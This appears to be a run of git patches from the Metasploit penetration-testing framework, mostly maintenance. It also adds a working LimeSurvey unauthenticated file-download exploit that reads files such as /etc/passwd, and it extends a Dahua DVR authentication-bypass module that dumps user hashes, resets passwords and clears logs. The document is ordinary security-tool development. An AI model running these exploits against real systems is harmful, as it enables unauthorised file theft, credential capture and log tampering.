+12,7 @@ require 'msf/base/sessions/meterpreter_python' module Metasploit4 - CachedSize = 50146 + CachedSize = 49398 include Msf::Payload::Single include Msf::Payload::Python From 6ab2919c402f5aa5940096dfc52f4e7187bfb927 Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 1 Dec 2015 15:29:21 -0600 Subject: [PATCH 1372/2172] remove go_pro command --- features/commands/help.feature | 1 - lib/msf/ui/console/command_dispatcher/core.rb | 46 ------------------- 2 files changed, 47 deletions(-) diff --git a/features/commands/help.feature b/features/commands/help.feature index 57d5f2d0f7..c421184e42 100644 --- a/features/commands/help.feature +++ b/features/commands/help.feature @@ -22,7 +22,6 @@ Feature: Help command exit Exit the console get Gets the value of a context-specific variable getg Gets the value of a global variable - go_pro Launch Metasploit web GUI grep Grep the output of another command help Help menu info Displays information about one or more modules diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index fea19ae379..3ecbb502b7 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -90,9 +90,6 @@ class Core @@search_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ]) - @@go_pro_opts = Rex::Parser::Arguments.new( - "-h" => [ false, "Help banner." ]) - @@irb_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner." ], "-e" => [ true, "Expression to evaluate." ]) @@ -120,7 +117,6 @@ class Core "edit" => "Edit the current module with $VISUAL or $EDITOR", "get" => "Gets the value of a context-specific variable", "getg" => "Gets the value of a global variable", - "go_pro" => "Launch Metasploit web GUI", "grep" => "Grep the output of another command", "help" => "Help menu", "advanced" => "Displays advanced options for one or more modules", @@ -3252,48 +3248,6 @@ class Core return res end - def cmd_go_pro_help - print_line "Usage: go_pro" - print_line - print_line "Launch the Metasploit web GUI" - print_line - end - - def cmd_go_pro(*args) - @@go_pro_opts.parse(args) do |opt, idx, val| - case opt - when "-h" - cmd_go_pro_help - return false - end - end - unless is_apt - print_warning "This command is only available on deb package installations, such as Kali Linux." - return false - end - unless is_metasploit_debian_package_installed - print_warning "You need to install the 'metasploit' package first." - print_warning "Type 'apt-get install -y metasploit' to do this now, then exit" - print_warning "and restart msfconsole to try again." - return false - end - # If I've gotten this far, I know that this is apt-installed, the - # metasploit package is here, and I'm ready to rock. - if is_metasploit_service_running - launch_metasploit_browser - else - print_status "Starting the Metasploit services. This can take a little time." - start_metasploit_service - select(nil,nil,nil,3) - if is_metasploit_service_running - launch_metasploit_browser - else - print_error "Metasploit services aren't running. Type 'service metasploit start' and try again." - end - end - return true - end - protected # From 217374d1c0eafc0d98944a4464e2bbe79357bc4d Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 2 Dec 2015 00:06:13 +0100 Subject: [PATCH 1373/2172] add limesurvey file download --- .../admin/http/limesurvey_file_download.rb | 107 ++++++++++++++++++ 1 file changed, 107 insertions(+) create mode 100644 modules/auxiliary/admin/http/limesurvey_file_download.rb diff --git a/modules/auxiliary/admin/http/limesurvey_file_download.rb b/modules/auxiliary/admin/http/limesurvey_file_download.rb new file mode 100644 index 0000000000..3841dcc50b --- /dev/null +++ b/modules/auxiliary/admin/http/limesurvey_file_download.rb @@ -0,0 +1,107 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Auxiliary + + include Msf::Auxiliary::Report + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => "Limesurvey Unauthenticated File Download", + 'Description' => %q{ + This module exploits an unauthenticated file download vulnerability + in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded + as a ZIP file and stored compressed. + }, + 'Author' => + [ + 'Pichaya Morimoto', # Vulnerability Discovery + 'Christian Mehlmauer' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20151022-0_Lime_Survey_multiple_critical_vulnerabilities_v10.txt'], + ['URL', 'https://www.limesurvey.org/en/blog/76-limesurvey-news/security-advisories/1836-limesurvey-security-advisory-10-2015'], + ['URL', 'https://github.com/LimeSurvey/LimeSurvey/compare/2.06_plus_151014...2.06_plus_151016?w=1'] + ], + 'DisclosureDate' => 'Oct 12 2015')) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [true, "The base path to the limesurvey installation", '/']), + OptString.new('FILEPATH', [true, 'Path of the file to download', '/etc/passwd']), + OptInt.new('TRAVERSAL_DEPTH', [true, 'Traversal depth', 15]) + ], self.class) + end + + def filepath + datastore['FILEPATH'] + end + + def traversal_depth + datastore['TRAVERSAL_DEPTH'] + end + + def payload + traversal = "/.." * traversal_depth + file = "#{traversal}#{filepath}" + serialized = 'a:1:{i:0;O:16:"CMultiFileUpload":1:{s:4:"file";s:' + file.length.to_s + ':"' + file + '";}}' + Rex::Text.encode_base64(serialized) + end + + def run + csrf_token = Rex::Text.rand_text_alpha(10) + + vars_post = { + 'YII_CSRF_TOKEN' => csrf_token, + 'destinationBuild' => Rex::Text.rand_text_alpha(5), + 'datasupdateinfo' => payload + } + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri, 'index.php', 'admin', 'update', 'sa', 'backup'), + 'cookie' => "YII_CSRF_TOKEN=#{csrf_token}", + 'vars_post' => vars_post + }) + + if res and res.code == 200 and res.body and res.body.include?('File backup created:') + match = res.body.match(%r{<strong>File backup created: </strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>}) + if match + local_path = match[1] + download_url = match[2] + print_status("File saved to #{local_path}") + print_status("Downloading backup from URL #{download_url}") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => download_url + }) + + if res and res.code == 200 + path = store_loot( + 'limesurvey.http', + 'application/zip', + rhost, + res.body, + ::File.basename(local_path) + ) + print_good("File saved in: #{path}") + else + print_error('Failed to download file') + end + else + print_error('Failed to download file') + end + else + print_error('Failed to download file') + end + end +end From 366b92a79ed5a86ca8ff9c144d0a4f6bc1bf6986 Mon Sep 17 00:00:00 2001 From: Jon Hart <jon_hart@rapid7.com> Date: Tue, 1 Dec 2015 15:30:39 -0800 Subject: [PATCH 1374/2172] Store rsync creds as creds, not loot --- modules/post/multi/gather/rsyncd_creds.rb | 40 ++++++++++++++++++----- 1 file changed, 32 insertions(+), 8 deletions(-) diff --git a/modules/post/multi/gather/rsyncd_creds.rb b/modules/post/multi/gather/rsyncd_creds.rb index 3957d37875..ee0736848e 100644 --- a/modules/post/multi/gather/rsyncd_creds.rb +++ b/modules/post/multi/gather/rsyncd_creds.rb @@ -60,6 +60,7 @@ class Metasploit3 < Msf::Post next if line =~ /^#/ if /^(?<user>[^:]+):(?<password>.*)$/ =~ line creds_table << [ user, password, rmodule ] + report_rsync_cred(user, password, rmodule) end end end @@ -67,14 +68,37 @@ class Metasploit3 < Msf::Post return if creds_table.rows.empty? print_line(creds_table.to_s) - store_loot( - "rsync.creds", - "text/csv", - session, - creds_table.to_csv, - "rsync_credentials.txt", - "RSYNC credentials from #{config_file}" - ) + end + + def report_rsync_cred(user, password, rmodule) + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: refname, + username: user, + private_data: password, + private_type: :password, + realm_value: rmodule, + # XXX: add to MDM? + #realm_key: Metasploit::Model::Realm::Key::RSYNC_MODULE, + workspace_id: myworkspace_id + } + credential_core = create_credential(credential_data) + + login_data = { + address: session.session_host, + # TODO: rsync is 99.9% of the time on 873/TCP, but can be configured differently with the + # 'port' directive in the global part of the rsyncd configuration file. + # Unfortunately, Rex::Parser::Ini does not support parsing this just yet + port: 873, + protocol: "tcp", + service_name: "rsync", + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + create_credential_login(login_data) end def run From 0e21265eccfa664821daa5b7b6d0cefbdf0669ed Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 1 Dec 2015 17:39:40 -0600 Subject: [PATCH 1375/2172] Fix cookie parsing, typo, and unused var --- .../exploits/unix/webapp/jira_hipchat_template.rb | 13 ++----------- 1 file changed, 2 insertions(+), 11 deletions(-) diff --git a/modules/exploits/unix/webapp/jira_hipchat_template.rb b/modules/exploits/unix/webapp/jira_hipchat_template.rb index bf9b58c67c..548113229a 100644 --- a/modules/exploits/unix/webapp/jira_hipchat_template.rb +++ b/modules/exploits/unix/webapp/jira_hipchat_template.rb @@ -78,14 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote # # @return [Hash] def get_cookie_as_hash(cookie) - new_cookie = {} - - cookie.split(';').each do |c| - cookie_name, cookie_value = c.scan(/(.+)=(.+)/).flatten - new_cookie[cookie_name.strip] = cookie_value.strip - end - - new_cookie + Hash[*cookie.scan(/\s?([^, ;]+?)=([^, ;]*?)[;,]/).flatten] end @@ -252,7 +245,7 @@ class Metasploit3 < Msf::Exploit::Remote 'method' => 'POST', 'uri' => uri, 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, - 'cooke' => "atlassian.xsrf.token=#{xsrf}; JSESSIONID=#{sid}", + 'cookie' => "atlassian.xsrf.token=#{xsrf}; JSESSIONID=#{sid}", 'vars_post' => { 'os_username' => jira_username, 'os_password' => jira_password, @@ -291,8 +284,6 @@ class Metasploit3 < Msf::Exploit::Remote # # @return [Hash] def get_login_prerequisites - prerequisites = {} - uri = normalize_uri(target_uri.path, 'secure', 'Dashboard.jspa') res = send_request_cgi({ 'uri' => uri }) From 9697ce50339afe9893f10ac36eb1e7b15050976d Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Tue, 1 Dec 2015 18:46:52 -0600 Subject: [PATCH 1376/2172] Specify arch & platform for generate_payload_exe If not specified, generic payloads will fail. --- modules/exploits/unix/webapp/jira_hipchat_template.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/modules/exploits/unix/webapp/jira_hipchat_template.rb b/modules/exploits/unix/webapp/jira_hipchat_template.rb index 548113229a..581ed58385 100644 --- a/modules/exploits/unix/webapp/jira_hipchat_template.rb +++ b/modules/exploits/unix/webapp/jira_hipchat_template.rb @@ -404,7 +404,8 @@ class Metasploit3 < Msf::Exploit::Remote register_files_for_cleanup(fname, new_fname) print_status("Attempting to write #{fname}") - c = get_write_file_code(fname, generate_payload_exe) + p = generate_payload_exe(code: payload.encoded, arch: self.arch, platform: self.platform) + c = get_write_file_code(fname, p) inject_template(c, cookie) print_status("chmod +x #{fname}") From fbeaeb287734714fbbd83edc8cbfd2e1f1d899ce Mon Sep 17 00:00:00 2001 From: Brent Cook <bcook@rapid7.com> Date: Tue, 1 Dec 2015 22:32:50 -0600 Subject: [PATCH 1377/2172] remove more unneeded machinery for go_pro --- lib/msf/ui/console/command_dispatcher/core.rb | 75 +------------------ 1 file changed, 3 insertions(+), 72 deletions(-) diff --git a/lib/msf/ui/console/command_dispatcher/core.rb b/lib/msf/ui/console/command_dispatcher/core.rb index 3ecbb502b7..be40468fa4 100644 --- a/lib/msf/ui/console/command_dispatcher/core.rb +++ b/lib/msf/ui/console/command_dispatcher/core.rb @@ -3277,78 +3277,6 @@ class Core end end - # - # Go_pro methods -- these are used to start and connect to - # Metasploit Community / Pro. - # - - # Note that this presumes a default port. - def launch_metasploit_browser - cmd = "/usr/bin/xdg-open" - unless ::File.executable_real? cmd - print_warning "Can't figure out your default browser, please visit https://localhost:3790" - print_warning "to start Metasploit Community / Pro." - return false - end - svc_log = File.expand_path(File.join(ENV['METASPLOIT_ROOT'], "apps" , "pro", "engine", "prosvc_stdout.log")) - unless ::File.readable_real? svc_log - print_error "Unable to access log file: #{svc_log}" - return false - end - really_started = false - # This method is a little lame but it's a short enough file that it - # shouldn't really matter that we open and close it a few times. - timeout = 0 - until really_started - select(nil,nil,nil,3) - log_data = ::File.open(svc_log, "rb") {|f| f.read f.stat.size} - really_started = log_data =~ /Ready/ # This is webserver ready - if really_started - print_line - print_good "Metasploit Community / Pro is up and running, connecting now." - print_good "If this is your first time connecting, you will be presented with" - print_good "a self-signed certificate warning. Accept it to create a new user." - select(nil,nil,nil,7) - browser_pid = ::Process.spawn(cmd, "https://localhost:3790") - ::Process.detach(browser_pid) - elsif timeout >= 200 # 200 * 3 seconds is 10 minutes and that is tons of time. - print_line - print_warning "For some reason, Community / Pro didn't start in a timely fashion." - print_warning "You might want to restart the Metasploit services by typing" - print_warning "'service metasploit restart'. Sorry it didn't work out." - return false - else - print "." - timeout += 1 - end - end - end - - def start_metasploit_service - cmd = File.expand_path(File.join(ENV['METASPLOIT_ROOT'], 'scripts', 'start.sh')) - return unless ::File.executable_real? cmd - %x{#{cmd}}.each_line do |line| - print_status line.chomp - end - end - - def is_metasploit_service_running - cmd = "/usr/sbin/service" - system("#{cmd} metasploit status >/dev/null") # Both running returns true, otherwise, false. - end - - def is_metasploit_debian_package_installed - cmd = "/usr/bin/dpkg" - return unless ::File.executable_real? cmd - installed_packages = %x{#{cmd} -l 'metasploit'} - installed_packages.each_line do |line| - if line =~ /^.i metasploit / # Yes, trailing space - return true - end - end - return false - end - # Determines if this is an apt-based install def is_apt File.exists?(File.expand_path(File.join(Msf::Config.install_root, '.apt'))) @@ -3357,6 +3285,9 @@ class Core # Determines if we're a Metasploit Pro/Community/Express # installation or a tarball/git checkout # + # XXX This will need to be update when we embed framework as a gem in + # commercial packages + # # @return [Boolean] true if we are a binary install def binary_install binary_paths = [ From 15dd18dc4b72546a399f0a8abda536e0ca4adbf9 Mon Sep 17 00:00:00 2001 From: Rory McNamara <rmcnamara@gdssecurity.com> Date: Wed, 2 Dec 2015 09:34:09 +0000 Subject: [PATCH 1378/2172] use single quotes, remove explicit nil --- lib/rex/exploitation/cmdstager/bourne.rb | 14 +++++++------- modules/post/multi/manage/shell_to_meterpreter.rb | 4 ++-- 2 files changed, 9 insertions(+), 9 deletions(-) diff --git a/lib/rex/exploitation/cmdstager/bourne.rb b/lib/rex/exploitation/cmdstager/bourne.rb index 69969f85af..f5f0b1d6a5 100644 --- a/lib/rex/exploitation/cmdstager/bourne.rb +++ b/lib/rex/exploitation/cmdstager/bourne.rb @@ -33,7 +33,7 @@ class CmdStagerBourne < CmdStagerBase def generate_cmds(opts) # Set the start/end of the commands here (vs initialize) so we have @tempdir @cmd_start = "echo -n " - @cmd_end = ">>\"#{@tempdir}#{@var_encoded}\"" + @cmd_end = ">>'#{@tempdir}#{@var_encoded}'" xtra_len = @cmd_start.length + @cmd_end.length + 1 opts.merge!({ :extra => xtra_len }) super @@ -82,27 +82,27 @@ class CmdStagerBourne < CmdStagerBase decoder_cmd << "(which #{binary} >&2 && #{cmd})" end decoder_cmd = decoder_cmd.join(" || ") - decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > \"#{@tempdir}#{@var_decoded}\" < \"#{@tempdir}#{@var_encoded}\"" + decoder_cmd = "(" << decoder_cmd << ") 2> /dev/null > '#{@tempdir}#{@var_decoded}' < '#{@tempdir}#{@var_encoded}'" [ decoder_cmd ] end def compress_commands(cmds, opts) # Make it all happen - cmds << "chmod +x \"#{@tempdir}#{@var_decoded}\"" + cmds << "chmod +x '#{@tempdir}#{@var_decoded}'" # Background the process, allowing the cleanup code to continue and delete the data # while allowing the original shell to continue to function since it isn't waiting # on the payload to exit. The 'sleep' is required as '&' is a command terminator # and having & and the cmds delimiter ';' next to each other is invalid. if opts[:background] - cmds << "\"#{@tempdir}#{@var_decoded}\" & sleep 2" + cmds << "'#{@tempdir}#{@var_decoded}' & sleep 2" else - cmds << "\"#{@tempdir}#{@var_decoded}\"" + cmds << "'#{@tempdir}#{@var_decoded}'" end # Clean up after unless requested not to.. if (not opts[:nodelete]) - cmds << "rm -f \"#{@tempdir}#{@var_decoded}\"" - cmds << "rm -f \"#{@tempdir}#{@var_encoded}\"" + cmds << "rm -f '#{@tempdir}#{@var_decoded}'" + cmds << "rm -f '#{@tempdir}#{@var_encoded}'" end super diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 9f34c3a376..a538f43d90 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -43,9 +43,9 @@ class Metasploit3 < Msf::Post OptString.new('PAYLOAD_OVERRIDE', [false, 'Define the payload to use (meterpreter/reverse_tcp by default) .', nil]), OptString.new('BOURNE_PATH', - [false, 'Remote path to drop binary', nil]), + [false, 'Remote path to drop binary']), OptString.new('BOURNE_FILE', - [false, 'Remote filename to use for dropped binary', nil]) + [false, 'Remote filename to use for dropped binary']) ], self.class) deregister_options('PERSIST', 'PSH_OLD_METHOD', 'RUN_WOW64') end From 98b3919e9433bace1cd037a761f4532d1449d6d7 Mon Sep 17 00:00:00 2001 From: Rory McNamara <rmcnamara@gdssecurity.com> Date: Wed, 2 Dec 2015 09:58:11 +0000 Subject: [PATCH 1379/2172] Remove .bin from default behaviour --- lib/rex/exploitation/cmdstager/bourne.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/rex/exploitation/cmdstager/bourne.rb b/lib/rex/exploitation/cmdstager/bourne.rb index f5f0b1d6a5..7c71ccd030 100644 --- a/lib/rex/exploitation/cmdstager/bourne.rb +++ b/lib/rex/exploitation/cmdstager/bourne.rb @@ -13,7 +13,7 @@ class CmdStagerBourne < CmdStagerBase super @var_encoded = Rex::Text.rand_text_alpha(5) + '.b64' - @var_decoded = Rex::Text.rand_text_alpha(5) + '.bin' + @var_decoded = Rex::Text.rand_text_alpha(5) end def generate(opts = {}) From 1a4b91e33ebb92a952906e7c8bee854ee80f8d20 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 2 Dec 2015 11:01:56 +0100 Subject: [PATCH 1380/2172] unzip backup file --- .../admin/http/limesurvey_file_download.rb | 43 +++++++++++++++---- 1 file changed, 34 insertions(+), 9 deletions(-) diff --git a/modules/auxiliary/admin/http/limesurvey_file_download.rb b/modules/auxiliary/admin/http/limesurvey_file_download.rb index 3841dcc50b..39a68cc478 100644 --- a/modules/auxiliary/admin/http/limesurvey_file_download.rb +++ b/modules/auxiliary/admin/http/limesurvey_file_download.rb @@ -5,6 +5,9 @@ require 'msf/core' +# for extracting files +require 'zip' + class Metasploit3 < Msf::Auxiliary include Msf::Auxiliary::Report @@ -16,7 +19,7 @@ class Metasploit3 < Msf::Auxiliary 'Description' => %q{ This module exploits an unauthenticated file download vulnerability in limesurvey between 2.0+ and 2.06+ Build 151014. The file is downloaded - as a ZIP file and stored compressed. + as a ZIP and unzipped automatically so also binary files can be downloaded. }, 'Author' => [ @@ -56,6 +59,21 @@ class Metasploit3 < Msf::Auxiliary Rex::Text.encode_base64(serialized) end + def unzip_file(zipfile) + begin + zip_data = Hash.new + Zip::File.open_buffer(zipfile) do |filezip| + filezip.each do |entry| + zip_data[::File.expand_path(entry.name)] = filezip.read(entry) + end + end + return zip_data + rescue Zip::Error => e + print_error("Error extracting ZIP: #{e}") + return nil + end + end + def run csrf_token = Rex::Text.rand_text_alpha(10) @@ -86,14 +104,21 @@ class Metasploit3 < Msf::Auxiliary }) if res and res.code == 200 - path = store_loot( - 'limesurvey.http', - 'application/zip', - rhost, - res.body, - ::File.basename(local_path) - ) - print_good("File saved in: #{path}") + unzipped = unzip_file(res.body) + + unzipped.each do |filename, content| + print_good("Filename: #{filename}") + print_good(content) + + path = store_loot( + 'limesurvey.http', + '', + rhost, + content, + filename + ) + print_good("File saved in: #{path}") + end else print_error('Failed to download file') end From f06e4f3dbd584be953176f04878cdbe848f87027 Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 2 Dec 2015 11:14:10 +0100 Subject: [PATCH 1381/2172] make this module work with other languages too --- modules/auxiliary/admin/http/limesurvey_file_download.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/admin/http/limesurvey_file_download.rb b/modules/auxiliary/admin/http/limesurvey_file_download.rb index 39a68cc478..1cb508a425 100644 --- a/modules/auxiliary/admin/http/limesurvey_file_download.rb +++ b/modules/auxiliary/admin/http/limesurvey_file_download.rb @@ -90,8 +90,8 @@ class Metasploit3 < Msf::Auxiliary 'vars_post' => vars_post }) - if res and res.code == 200 and res.body and res.body.include?('File backup created:') - match = res.body.match(%r{<strong>File backup created: </strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>}) + if res and res.code == 200 and res.body and res.body.include?('Download this file') + match = res.body.match(%r{<div class="updater-background">\s+<p class="success " style="text-align: left;">\s+<strong>[^<]+</strong>\s+<br/>\s+([^<]+)<br/>\s+<a class="btn btn-success" href="([^"]+)" title="Download this file">Download this file</a>}) if match local_path = match[1] download_url = match[2] From 581ea89f7f71a099ed3af8ae48c8304edd4d430a Mon Sep 17 00:00:00 2001 From: Christian Mehlmauer <firefart@gmail.com> Date: Wed, 2 Dec 2015 11:19:08 +0100 Subject: [PATCH 1382/2172] fix nil error --- modules/auxiliary/admin/http/limesurvey_file_download.rb | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/modules/auxiliary/admin/http/limesurvey_file_download.rb b/modules/auxiliary/admin/http/limesurvey_file_download.rb index 1cb508a425..1bdee0ebf4 100644 --- a/modules/auxiliary/admin/http/limesurvey_file_download.rb +++ b/modules/auxiliary/admin/http/limesurvey_file_download.rb @@ -60,18 +60,17 @@ class Metasploit3 < Msf::Auxiliary end def unzip_file(zipfile) + zip_data = Hash.new begin - zip_data = Hash.new Zip::File.open_buffer(zipfile) do |filezip| filezip.each do |entry| zip_data[::File.expand_path(entry.name)] = filezip.read(entry) end end - return zip_data rescue Zip::Error => e print_error("Error extracting ZIP: #{e}") - return nil end + return zip_data end def run From ca496a376fdd579b3e13fff8fb19c32bd9585bb4 Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Wed, 2 Dec 2015 14:16:36 -0500 Subject: [PATCH 1383/2172] set username as a requirement and added note about randomly assinged password for user if not set --- modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index b95a15c239..d9a5ea0bc1 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -19,8 +19,8 @@ class Metasploit3 < Msf::Auxiliary ) deregister_options('RHOST') register_options([ - OptString.new('USERNAME', [false, 'A username to reset', '888888']), - OptString.new('PASSWORD', [false, 'A password to reset the user with']), + OptString.new('USERNAME', [true, 'A username to reset', '888888']), + OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']), OptBool.new('RESET', [false, 'Reset an existing user\'s pw?', 'FALSE']), OptBool.new('CLEAR_LOGS', [false, 'Clear the DVR logs when we\'re done?', 'TRUE']), Opt::RPORT(37777) From a8887e6b77611e62916a3a2a045c3127fbde5fce Mon Sep 17 00:00:00 2001 From: Tyler Bennett <tyler@talosinfosec.com> Date: Wed, 2 Dec 2015 16:33:09 -0500 Subject: [PATCH 1384/2172] firts iteration of moving each payload to its own function and setting optional vars, cleaning up rubocop warnings as well --- .../scanner/misc/dahua_dvr_auth_bypass.rb | 404 +++++++++++------- 1 file changed, 238 insertions(+), 166 deletions(-) diff --git a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb index d9a5ea0bc1..e65f12a57a 100644 --- a/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb +++ b/modules/auxiliary/scanner/misc/dahua_dvr_auth_bypass.rb @@ -21,83 +21,83 @@ class Metasploit3 < Msf::Auxiliary register_options([ OptString.new('USERNAME', [true, 'A username to reset', '888888']), OptString.new('PASSWORD', [false, 'A password to reset the user with, if not set a random pass will be generated.']), + OptBool.new('VERSION_INFO', ['false', 'Grabs the version of DVR', 'FALSE']), + OptBool.new('EMAIL_INFO', ['false', 'Grabs the email settings of the DVR', 'TRUE']), + OptBool.new('DDNS_INFO', ['false', 'Grabs the DDNS settings of the DVR', 'TRUE']), + OptBool.new('SN_INFO', ['false', 'Grabs the SN of the DVR', 'FALSE']), + OptBool.new('CHANNEL_INFO', ['false', 'Grabs the cameras and their assigned name', 'FALSE']), + OptBool.new('NAS_INFO', ['false', 'Grabs the NAS settings of the DVR','TRUE']), + OptBool.new('USER_INFO', ['false', 'Grabs the Users and hashes of the DVR', 'TRUE']), + OptBool.new('GROUP_INFO', ['false', 'Grabs the Users and groups of the DVR', 'FALSE']), OptBool.new('RESET', [false, 'Reset an existing user\'s pw?', 'FALSE']), OptBool.new('CLEAR_LOGS', [false, 'Clear the DVR logs when we\'re done?', 'TRUE']), Opt::RPORT(37777) ]) end + U1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + DVR_RESP = "\xb1\x00\x00\x58\x00\x00\x00\x00" + VERSION = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + EMAIL = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ + "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + DDNS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ + "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + NAS = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ + "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + CHANNELS = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ + "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + GROUPS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + USERS = "\xa6\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + SN = "\xa4\x00\x00\x00\x00\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + CLEAR_LOGS1 = "\x60\x00\x00\x00\x00\x00\x00\x00\x90\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + CLEAR_LOGS2 = "\x60\x00\x00\x00\x00\x00\x00\x00\x09\x00\x00\x00\x00\x00\x00\x00" \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" + def setup @password = datastore['PASSWORD'] @password ||= Rex::Text.rand_text_alpha(6) end - def run_host(ip) - usercount = 0 - u1 = "\xa1\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - dvr_resp = "\xb1\x00\x00\x58\x00\x00\x00\x00" - version = "\xa4\x00\x00\x00\x00\x00\x00\x00\x08\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - email = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ - "\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - ddns = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ - "\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - nas = "\xa3\x00\x00\x00\x00\x00\x00\x00\x63\x6f\x6e\x66\x69\x67\x00\x00" \ - "\x25\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - channels = "\xa8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" \ - "\xa8\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00" \ - "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" - 